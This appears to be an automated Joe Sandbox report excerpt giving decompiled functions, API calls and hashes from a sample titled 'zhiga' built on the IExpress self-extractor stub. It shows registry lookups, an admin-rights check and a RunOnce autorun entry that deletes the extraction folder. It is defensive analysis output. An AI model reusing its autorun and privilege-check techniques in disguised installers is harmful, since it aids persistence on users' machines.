LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 00F84236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 00F8424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 00F84263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 00F8427A
GetTempPathA.KERNEL32(00000104,00F888C0,?,00000001), ref: 00F8429F
CharPrevA.USER32(00F888C0,01F11181,?,00000001), ref: 00F842C2
CharPrevA.USER32(00F888C0,00000000,?,00000001), ref: 00F842D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00F84391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00F843A5

Strings

SHGetPathFromIDList, xrefs: 00F84274
SHBrowseForFolder, xrefs: 00F84246
SHELL32.DLL, xrefs: 00F8422F

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 0eacf8bf50bc63da9ad49b1c11122efc1d6f9787a3bd8862e687e37578675a1a
Instruction ID: ec36900929a26ce360494d6b4fc3a72e5880a3a9b9a6894ef68a5fa7c200beba
Opcode Fuzzy Hash: 0eacf8bf50bc63da9ad49b1c11122efc1d6f9787a3bd8862e687e37578675a1a
Instruction Fuzzy Hash: BB41E374E00209AFE711BF64DC89AFE7BB5EB45394F84016AE941A7251CB749C02FB62

Uniqueness

Uniqueness Score: -1.00%

Function 00F844B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F844B9(struct HWND__* __ecx, int __edx, intOrPtr* _a4, void* _a8, int _a12, signed int _a16) {
				signed int _v8;
				char _v64;
				char _v576;
				void* _v580;
				struct HWND__* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				void* _t37;
				signed int _t39;
				intOrPtr _t43;
				signed int _t44;
				signed int _t49;
				signed int _t52;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t66;
				intOrPtr* _t67;
				signed int _t69;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr* _t84;
				void* _t85;
				signed int _t89;

				_t75 = __edx;
				_t34 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t34 ^ _t89;
				_v584 = __ecx;
				_t83 = "LoadString() Error.  Could not load string resource.";
				_t67 = _a4;
				_t69 = 0xd;
				_t37 = memcpy( &_v64, _t83, _t69 << 2);
				_t80 = _t83 + _t69 + _t69;
				_v580 = _t37;
				asm("movsb");
				if(( *0xf88a38 & 0x00000001) != 0) {
					_t39 = 1;
				} else {
					_v576 = 0;
					LoadStringA( *0xf89a3c, _t75,  &_v576, 0x200);
					if(_v576 != 0) {
						_t73 =  &_v576;
						_t16 = _t73 + 1; // 0x1
						_t75 = _t16;
						do {
							_t43 =  *_t73;
							_t73 = _t73 + 1;
						} while (_t43 != 0);
						_t84 = _v580;
						_t74 = _t73 - _t75;
						if(_t84 == 0) {
							if(_t67 == 0) {
								_t27 = _t74 + 1; // 0x2
								_t83 = _t27;
								_t44 = LocalAlloc(0x40, _t83);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									_t75 = _t83;
									_t74 = _t80;
									E00F81680(_t80, _t83,  &_v576);
									goto L23;
								}
							} else {
								_t76 = _t67;
								_t24 = _t76 + 1; // 0x1
								_t85 = _t24;
								do {
									_t55 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t55 != 0);
								_t25 = _t76 - _t85 + 0x64; // 0x65
								_t83 = _t25 + _t74;
								_t44 = LocalAlloc(0x40, _t25 + _t74);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									E00F8171E(_t80, _t83,  &_v576, _t67);
									goto L23;
								}
							}
						} else {
							_t77 = _t67;
							_t18 = _t77 + 1; // 0x1
							_t81 = _t18;
							do {
								_t58 =  *_t77;
								_t77 = _t77 + 1;
							} while (_t58 != 0);
							_t75 = _t77 - _t81;
							_t82 = _t84 + 1;
							do {
								_t59 =  *_t84;
								_t84 = _t84 + 1;
							} while (_t59 != 0);
							_t21 = _t74 + 0x64; // 0x65
							_t83 = _t21 + _t84 - _t82 + _t75;
							_t44 = LocalAlloc(0x40, _t21 + _t84 - _t82 + _t75);
							_t80 = _t44;
							if(_t80 == 0) {
								goto L6;
							} else {
								_push(_v580);
								E00F8171E(_t80, _t83,  &_v576, _t67);
								L23:
								MessageBeep(_a12);
								if(E00F8681F(_t67) == 0) {
									L25:
									_t49 = 0x10000;
								} else {
									_t54 = E00F867C9(_t74, _t74);
									_t49 = 0x190000;
									if(_t54 == 0) {
										goto L25;
									}
								}
								_t52 = MessageBoxA(_v584, _t80, "zhiga", _t49 | _a12 | _a16);
								_t83 = _t52;
								LocalFree(_t80);
								_t39 = _t52;
							}
						}
					} else {
						if(E00F8681F(_t67) == 0) {
							L4:
							_t64 = 0x10010;
						} else {
							_t66 = E00F867C9(0, 0);
							_t64 = 0x190010;
							if(_t66 == 0) {
								goto L4;
							}
						}
						_t44 = MessageBoxA(_v584,  &_v64, "zhiga", _t64);
						L6:
						_t39 = _t44 | 0xffffffff;
					}
				}
				return E00F86CE0(_t39, _t67, _v8 ^ _t89, _t75, _t80, _t83);
			}

0x00f844b9
0x00f844c4
0x00f844cb
0x00f844d8
0x00f844e4
0x00f844eb
0x00f844ee
0x00f844ef
0x00f844ef
0x00f844f1
0x00f844f7
0x00f844f8
0x00f8467b
0x00f844fe
0x00f84509
0x00f84518
0x00f84525
0x00f84562
0x00f84568
0x00f84568
0x00f8456b
0x00f8456b
0x00f8456d
0x00f8456e
0x00f84572
0x00f84578
0x00f8457c
0x00f845cb
0x00f84607
0x00f84607
0x00f8460d
0x00f84613
0x00f84617
0x00000000
0x00f8461d
0x00f84623
0x00f84626
0x00f84628
0x00000000
0x00f84628
0x00f845cd
0x00f845cd
0x00f845cf
0x00f845cf
0x00f845d2
0x00f845d2
0x00f845d4
0x00f845d5
0x00f845db
0x00f845de
0x00f845e3
0x00f845e9
0x00f845ed
0x00000000
0x00f845f3
0x00f845fd
0x00000000
0x00f84602
0x00f845ed
0x00f8457e
0x00f8457e
0x00f84580
0x00f84580
0x00f84583
0x00f84583
0x00f84585
0x00f84586
0x00f8458a
0x00f8458c
0x00f8458f
0x00f8458f
0x00f84591
0x00f84592
0x00f8459b
0x00f8459e
0x00f845a3
0x00f845a9
0x00f845ad
0x00000000
0x00f845af
0x00f845af
0x00f845bf
0x00f8462d
0x00f84630
0x00f8463d
0x00f8464e
0x00f8464e
0x00f8463f
0x00f84640
0x00f84647
0x00f8464c
0x00000000
0x00000000
0x00f8464c
0x00f84666
0x00f8466d
0x00f8466f
0x00f84675
0x00f84675
0x00f845ad
0x00f84527
0x00f8452e
0x00f8453f
0x00f8453f
0x00f84530
0x00f84531
0x00f84538
0x00f8453d
0x00000000
0x00000000
0x00f8453d
0x00f84554
0x00f8455a
0x00f8455a
0x00f8455a
0x00f84525
0x00f8468c

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00F84554
LocalAlloc.KERNEL32(00000040,00000065), ref: 00F845A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 00F845E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 00F8460D
MessageBeep.USER32(00000000), ref: 00F84630
MessageBoxA.USER32(?,00000000,zhiga,00000000), ref: 00F84666
LocalFree.KERNEL32(00000000), ref: 00F8466F

Part of subcall function 00F8681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 00F8686E
Part of subcall function 00F8681F: GetSystemMetrics.USER32(0000004A), ref: 00F868A7
Part of subcall function 00F8681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 00F868CC
Part of subcall function 00F8681F: RegQueryValueExA.ADVAPI32(?,00F81140,00000000,?,?,0000000C), ref: 00F868F4
Part of subcall function 00F8681F: RegCloseKey.ADVAPI32(?), ref: 00F86902

Strings

LoadString() Error. Could not load string resource., xrefs: 00F844E4
zhiga, xrefs: 00F84545, 00F8465A

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$zhiga
API String ID: 3244514340-1120439489
Opcode ID: 6ad797bd7f6d40c874bd8c71284e7d7ba99b3600f182d4c742b71b20641f3bbd
Instruction ID: 9940a1fe6dbcc3c7c6772c9ea612413275d77c66b0fe11ba803d35112cee2737
Opcode Fuzzy Hash: 6ad797bd7f6d40c874bd8c71284e7d7ba99b3600f182d4c742b71b20641f3bbd
Instruction Fuzzy Hash: ED51F67290021AABDB21BF28CC48BFABB69EF45310F144195FD19A7241DB75ED05EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F82773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F82773(CHAR* __ecx, char* _a4) {
				signed int _v8;
				char _v268;
				char _v269;
				CHAR* _v276;
				int _v280;
				void* _v284;
				int _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				intOrPtr _t34;
				int _t45;
				int* _t50;
				CHAR* _t52;
				CHAR* _t61;
				char* _t62;
				int _t63;
				CHAR* _t64;
				signed int _t65;

				_t52 = __ecx;
				_t23 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t23 ^ _t65;
				_t62 = _a4;
				_t50 = 0;
				_t61 = __ecx;
				_v276 = _t62;
				 *((char*)(__ecx)) = 0;
				if( *_t62 != 0x23) {
					_t63 = 0x104;
					goto L14;
				} else {
					_t64 = _t62 + 1;
					_v269 = CharUpperA( *_t64);
					_v276 = CharNextA(CharNextA(_t64));
					_t63 = 0x104;
					_t34 = _v269;
					if(_t34 == 0x53) {
						L14:
						GetSystemDirectoryA(_t61, _t63);
						goto L15;
					} else {
						if(_t34 == 0x57) {
							GetWindowsDirectoryA(_t61, 0x104);
							goto L16;
						} else {
							_push(_t52);
							_v288 = 0x104;
							E00F81781( &_v268, 0x104, _t52, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths");
							_t59 = 0x104;
							E00F8658A( &_v268, 0x104, _v276);
							if(RegOpenKeyExA(0x80000002,  &_v268, 0, 0x20019,  &_v284) != 0) {
								L16:
								_t59 = _t63;
								E00F8658A(_t61, _t63, _v276);
							} else {
								if(RegQueryValueExA(_v284, 0xf81140, 0,  &_v280, _t61,  &_v288) == 0) {
									_t45 = _v280;
									if(_t45 != 2) {
										L9:
										if(_t45 == 1) {
											goto L10;
										}
									} else {
										if(ExpandEnvironmentStringsA(_t61,  &_v268, 0x104) == 0) {
											_t45 = _v280;
											goto L9;
										} else {
											_t59 = 0x104;
											E00F81680(_t61, 0x104,  &_v268);
											L10:
											_t50 = 1;
										}
									}
								}
								RegCloseKey(_v284);
								L15:
								if(_t50 == 0) {
									goto L16;
								}
							}
						}
					}
				}
				return E00F86CE0(1, _t50, _v8 ^ _t65, _t59, _t61, _t63);
			}

0x00f82773
0x00f8277e
0x00f82785
0x00f8278a
0x00f8278d
0x00f82790
0x00f82792
0x00f82798
0x00f8279d
0x00f828b2
0x00000000
0x00f827a3
0x00f827a3
0x00f827af
0x00f827c2
0x00f827c8
0x00f827cd
0x00f827d5
0x00f828b7
0x00f828b9
0x00000000
0x00f827db
0x00f827dd
0x00f828aa
0x00000000
0x00f827e3
0x00f827e3
0x00f827ec
0x00f827f8
0x00f82803
0x00f8280b
0x00f82831
0x00f828c3
0x00f828c9
0x00f828cd
0x00f82837
0x00f8285a
0x00f8285c
0x00f82865
0x00f82892
0x00f82895
0x00000000
0x00000000
0x00f82867
0x00f82878
0x00f8288c
0x00000000
0x00f8287a
0x00f82880
0x00f82885
0x00f82897
0x00f82899
0x00f82899
0x00f82878
0x00f82865
0x00f828a0
0x00f828bf
0x00f828c1
0x00000000
0x00000000
0x00f828c1
0x00f82831
0x00f827dd
0x00f827d5
0x00f828e5

APIs

CharUpperA.USER32(7E92E7A6,00000000,00000000,00000000), ref: 00F827A8
CharNextA.USER32(0000054D), ref: 00F827B5
CharNextA.USER32(00000000), ref: 00F827BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F82829
RegQueryValueExA.ADVAPI32(?,00F81140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F82852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F82870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F828A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 00F828AA
GetSystemDirectoryA.KERNEL32 ref: 00F828B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00F827E4

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: af52a5f68144c05ae8cb9eca2e5313ec7edcc7ee12002e194ddcf87f74c8484e
Instruction ID: d7b0e3628f32fb5107f536d484f53446f5a43f7ea33ba94c891ab12707549c1b
Opcode Fuzzy Hash: af52a5f68144c05ae8cb9eca2e5313ec7edcc7ee12002e194ddcf87f74c8484e
Instruction Fuzzy Hash: 5F41A571E0012CAFEF64AB649C45AFE77BDEB15710F0440AAF545D2100DB749E86AFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F82267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00F82267() {
				signed int _v8;
				char _v268;
				char _v836;
				void* _v840;
				int _v844;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t33;
				void* _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				signed int _t51;

				_t19 =  *0xf88004; // 0x7e92e7a6
				_t20 = _t19 ^ _t51;
				_v8 = _t19 ^ _t51;
				if( *0xf88530 != 0) {
					_push(_t49);
					if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x2001f,  &_v840) == 0) {
						_push(_t38);
						_v844 = 0x238;
						if(RegQueryValueExA(_v840, ?str?, 0, 0,  &_v836,  &_v844) == 0) {
							_push(_t47);
							memset( &_v268, 0, 0x104);
							if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
								E00F8658A( &_v268, 0x104, 0xf81140);
							}
							_push("C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\");
							E00F8171E( &_v836, 0x238, "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"",  &_v268);
							_t42 =  &_v836;
							_t45 = _t42 + 1;
							_pop(_t47);
							do {
								_t33 =  *_t42;
								_t42 = _t42 + 1;
							} while (_t33 != 0);
							RegSetValueExA(_v840, "wextract_cleanup1", 0, 1,  &_v836, _t42 - _t45 + 1);
						}
						_t20 = RegCloseKey(_v840);
						_pop(_t38);
					}
					_pop(_t49);
				}
				return E00F86CE0(_t20, _t38, _v8 ^ _t51, _t45, _t47, _t49);
			}

0x00f82272
0x00f82277
0x00f82279
0x00f82283
0x00f82289
0x00f822ab
0x00f822b1
0x00f822c4
0x00f822e0
0x00f822e6
0x00f822f5
0x00f8230d
0x00f8231c
0x00f8231c
0x00f82321
0x00f8233a
0x00f82342
0x00f82348
0x00f8234b
0x00f8234c
0x00f8234c
0x00f8234e
0x00f8234f
0x00f8236e
0x00f8236e
0x00f8237a
0x00f82380
0x00f82380
0x00f82381
0x00f82381
0x00f8238f

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 00F822A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000000,?,?,00000001), ref: 00F822D8
memset.MSVCRT ref: 00F822F5
GetSystemDirectoryA.KERNEL32 ref: 00F82305
RegSetValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 00F8236E
RegCloseKey.ADVAPI32(?), ref: 00F8237A

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F82321
wextract_cleanup1, xrefs: 00F8227C, 00F822CD, 00F82363
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00F82299
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00F8232D

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup1
API String ID: 3027380567-490507210
Opcode ID: 500901cec70fe4e95f1d2f1b69edfec912e172d96d2ac7c019fc4f6d56ec277c
Instruction ID: 31250253b458fc3ab86304a07b99c451c071ae6b1201425c2b033351fb44ab4e
Opcode Fuzzy Hash: 500901cec70fe4e95f1d2f1b69edfec912e172d96d2ac7c019fc4f6d56ec277c
Instruction Fuzzy Hash: 9331C571A0021C6BDB21AB50DC49FEA7B7CEB15750F4401AAB50DEA050EA75AB89EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F83100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00F83100(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				void* _t11;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t33;
				struct HWND__* _t34;

				_t8 = _a8 - 0xf;
				if(_t8 == 0) {
					if( *0xf88590 == 0) {
						SendDlgItemMessageA(_a4, 0x834, 0xb1, 0xffffffff, 0);
						 *0xf88590 = 1;
					}
					L13:
					return 0;
				}
				_t11 = _t8 - 1;
				if(_t11 == 0) {
					L7:
					_push(0);
					L8:
					EndDialog(_a4, ??);
					L9:
					return 1;
				}
				_t15 = _t11 - 0x100;
				if(_t15 == 0) {
					_t16 = GetDesktopWindow();
					_t33 = _a4;
					E00F843D0(_t33, _t16);
					SetDlgItemTextA(_t33, 0x834,  *0xf88d4c);
					SetWindowTextA(_t33, "zhiga");
					SetForegroundWindow(_t33);
					_t34 = GetDlgItem(_t33, 0x834);
					 *0xf888b8 = GetWindowLongA(_t34, 0xfffffffc);
					SetWindowLongA(_t34, 0xfffffffc, E00F830C0);
					return 1;
				}
				if(_t15 != 1) {
					goto L13;
				}
				if(_a12 != 6) {
					if(_a12 != 7) {
						goto L9;
					}
					goto L7;
				}
				_push(1);
				goto L8;
			}

0x00f83108
0x00f8310b
0x00f831b7
0x00f831ca
0x00f831d0
0x00f831d0
0x00f831da
0x00000000
0x00f831da
0x00f83111
0x00f83114
0x00f83136
0x00f83136
0x00f83138
0x00f8313b
0x00f83141
0x00000000
0x00f83143
0x00f83116
0x00f8311b
0x00f8314b
0x00f83151
0x00f83158
0x00f8316a
0x00f83176
0x00f8317d
0x00f8318b
0x00f8319e
0x00f831a3
0x00000000
0x00f831ad
0x00f83120
0x00000000
0x00000000
0x00f8312a
0x00f83134
0x00000000
0x00000000
0x00000000
0x00f83134
0x00f8312c
0x00000000

APIs

EndDialog.USER32(?,00000000), ref: 00F8313B
GetDesktopWindow.USER32 ref: 00F8314B
SetDlgItemTextA.USER32(?,00000834), ref: 00F8316A
SetWindowTextA.USER32(?,zhiga), ref: 00F83176
SetForegroundWindow.USER32(?), ref: 00F8317D
GetDlgItem.USER32(?,00000834), ref: 00F83185
GetWindowLongA.USER32(00000000,000000FC), ref: 00F83190
SetWindowLongA.USER32(00000000,000000FC,00F830C0), ref: 00F831A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 00F831CA

Strings

zhiga, xrefs: 00F83170

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: zhiga
API String ID: 3785188418-3705506974
Opcode ID: a7072cb8c7411702f7fbdcc0732567a77d93f923634abdc61bc0a48d0245dfd1
Instruction ID: 9f80be09db7ffeee191898cd68db2de6920b69796e62a89e0ca2e1f9887b5527
Opcode Fuzzy Hash: a7072cb8c7411702f7fbdcc0732567a77d93f923634abdc61bc0a48d0245dfd1
Instruction Fuzzy Hash: C211B431A04619BBEB216F64AC0CBFA3A64FB46F70F100612F815D51F0DB749641FB42

Uniqueness

Uniqueness Score: -1.00%

Function 00F818A3 Relevance: 16.6, APIs: 11, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00F818A3(void* __edx, void* __esi) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				char _v20;
				long _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				signed int _t23;
				long _t45;
				void* _t49;
				int _t50;
				void* _t52;
				signed int _t53;

				_t51 = __esi;
				_t49 = __edx;
				_t23 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t23 ^ _t53;
				_t25 =  *0xf88128; // 0x2
				_t45 = 0;
				_v12 = 0x500;
				_t50 = 2;
				_v16.Value = 0;
				_v20 = 0;
				if(_t25 != _t50) {
					L20:
					return E00F86CE0(_t25, _t45, _v8 ^ _t53, _t49, _t50, _t51);
				}
				if(E00F817EE( &_v20) != 0) {
					_t25 = _v20;
					if(_v20 != 0) {
						 *0xf88128 = 1;
					}
					goto L20;
				}
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v28) == 0) {
					goto L20;
				}
				if(GetTokenInformation(_v28, _t50, 0, 0,  &_v24) != 0 || GetLastError() != 0x7a) {
					L17:
					CloseHandle(_v28);
					_t25 = _v20;
					goto L20;
				} else {
					_push(__esi);
					_t52 = LocalAlloc(0, _v24);
					if(_t52 == 0) {
						L16:
						_pop(_t51);
						goto L17;
					}
					if(GetTokenInformation(_v28, _t50, _t52, _v24,  &_v24) == 0 || AllocateAndInitializeSid( &_v16, _t50, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v32) == 0) {
						L15:
						LocalFree(_t52);
						goto L16;
					} else {
						if( *_t52 <= 0) {
							L14:
							FreeSid(_v32);
							goto L15;
						}
						_t15 = _t52 + 4; // 0x4
						_t50 = _t15;
						while(EqualSid( *_t50, _v32) == 0) {
							_t45 = _t45 + 1;
							_t50 = _t50 + 8;
							if(_t45 <  *_t52) {
								continue;
							}
							goto L14;
						}
						 *0xf88128 = 1;
						_v20 = 1;
						goto L14;
					}
				}
			}

0x00f818a3
0x00f818a3
0x00f818ab
0x00f818b2
0x00f818b5
0x00f818be
0x00f818c0
0x00f818c6
0x00f818c7
0x00f818ca
0x00f818cf
0x00f819c9
0x00f819d8
0x00f819d8
0x00f818df
0x00f819b8
0x00f819bd
0x00f819bf
0x00f819bf
0x00000000
0x00f819bd
0x00f818fa
0x00000000
0x00000000
0x00f81912
0x00f819aa
0x00f819ad
0x00f819b3
0x00000000
0x00f81927
0x00f81927
0x00f81932
0x00f81936
0x00f819a9
0x00f819a9
0x00000000
0x00f819a9
0x00f8194c
0x00f819a2
0x00f819a3
0x00000000
0x00f8196e
0x00f81970
0x00f81999
0x00f8199c
0x00000000
0x00f8199c
0x00f81972
0x00f81972
0x00f81975
0x00f81984
0x00f81985
0x00f8198a
0x00000000
0x00000000
0x00000000
0x00f8198c
0x00f81991
0x00f81996
0x00000000
0x00f81996
0x00f8194c

APIs

Part of subcall function 00F817EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,00F818DD), ref: 00F8181A
Part of subcall function 00F817EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00F8182C
Part of subcall function 00F817EE: AllocateAndInitializeSid.ADVAPI32(00F818DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00F818DD), ref: 00F81855
Part of subcall function 00F817EE: FreeSid.ADVAPI32(?,?,?,?,00F818DD), ref: 00F81883
Part of subcall function 00F817EE: FreeLibrary.KERNEL32(00000000,?,?,?,00F818DD), ref: 00F8188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 00F818EB
OpenProcessToken.ADVAPI32(00000000), ref: 00F818F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 00F8190A
GetLastError.KERNEL32 ref: 00F81918
LocalAlloc.KERNEL32(00000000,?,?), ref: 00F8192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 00F81944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00F81964
EqualSid.ADVAPI32(00000004,?), ref: 00F8197A
FreeSid.ADVAPI32(?), ref: 00F8199C
LocalFree.KERNEL32(00000000), ref: 00F819A3
CloseHandle.KERNEL32(?), ref: 00F819AD

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 8524a9017b6cce86701870aa89d6d61a0b53c46788eb92c9b3d830699094614c
Instruction ID: 5668ca8bb04facf79600e992d2315e5fe07a90ca33389f38551c9af48e5d7a45
Opcode Fuzzy Hash: 8524a9017b6cce86701870aa89d6d61a0b53c46788eb92c9b3d830699094614c
Instruction Fuzzy Hash: 3D311971E00209EBEB20AFA5DC59AFFBBBCFB04750F10052AE545D2150DB349906EB61

Uniqueness

Uniqueness Score: -1.00%

